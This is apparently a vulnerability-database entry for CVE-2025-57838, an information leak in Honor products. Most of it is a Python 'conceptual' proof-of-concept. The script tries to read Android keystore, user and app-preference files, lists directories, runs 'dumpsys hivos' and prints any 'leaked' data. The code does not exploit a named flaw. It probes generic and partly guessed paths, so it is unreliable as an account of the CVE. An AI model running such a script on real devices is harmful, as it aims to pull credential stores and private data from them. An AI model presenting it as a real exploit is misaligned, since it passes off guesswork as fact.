Some Honor products are affected by information leak vulnerability, successful exploitation of this vulnerability may affect service confidentiality.
CVSS Details
CVSS Score
4.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Configurations (Affected Products)
No configuration data available.
Honor 多款产品（具体型号及版本请参考荣耀官方安全公告）
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-57838 Honor Products Information Leak PoC (Conceptual)
# This is a conceptual proof-of-concept demonstrating the information leak vulnerability
# in certain Honor products. The vulnerability is local (AV:L) and requires no
# authentication or user interaction.
import subprocess
import os
import sys
def exploit_info_leak():
"""
Conceptual PoC for CVE-2025-57838.
Exploits the information disclosure vulnerability by accessing
sensitive system resources that lack proper access control.
"""
print("[*] CVE-2025-57838 - Honor Products Information Leak PoC")
print("[*] Attempting to access protected system resources...\n")
# Step 1: Check if we have local access to the device
# The vulnerability requires local access (AV:L)
sensitive_paths = [
"/data/system/users/0.xml",
"/data/misc/keystore/user_0/",
"/data/data/com.hihonor.*/shared_prefs/",
"/data/local/tmp/",
"/sys/class/honor_sensor/",
"/proc/honor_debug_info"
]
leaked_data = {}
for path in sensitive_paths:
try:
# Step 2: Attempt to read sensitive files/directories
# Due to improper permission checks, these may be accessible
if os.path.exists(path):
if os.path.isfile(path):
with open(path, 'r', errors='ignore') as f:
content = f.read(1024)
leaked_data[path] = content
print(f"[+] Leaked data from {path}:")
print(f" {content[:200]}...")
elif os.path.isdir(path):
files = os.listdir(path)
leaked_data[path] = files
print(f"[+] Directory listing of {path}:")
print(f" {files}")
else:
print(f"[-] Path not found: {path}")
except PermissionError:
print(f"[-] Permission denied: {path}")
except Exception as e:
print(f"[-] Error accessing {path}: {e}")
# Step 3: Try to invoke system services that may leak information
try:
result = subprocess.run(
["dumpsys", "hivos"],
capture_output=True, text=True, timeout=5
)
if result.stdout:
print(f"\n[+] Dumpsys output (potential info leak):")
print(f" {result.stdout[:500]}")
leaked_data["dumpsys_hivos"] = result.stdout
except Exception as e:
print(f"[-] dumpsys failed: {e}")
if leaked_data:
print(f"\n[!] Successfully leaked {len(leaked_data)} items of sensitive data")
print("[!] This information could be used for further attacks")
else:
print("\n[-] No data leaked - device may be patched")
return leaked_data
if __name__ == "__main__":
exploit_info_leak()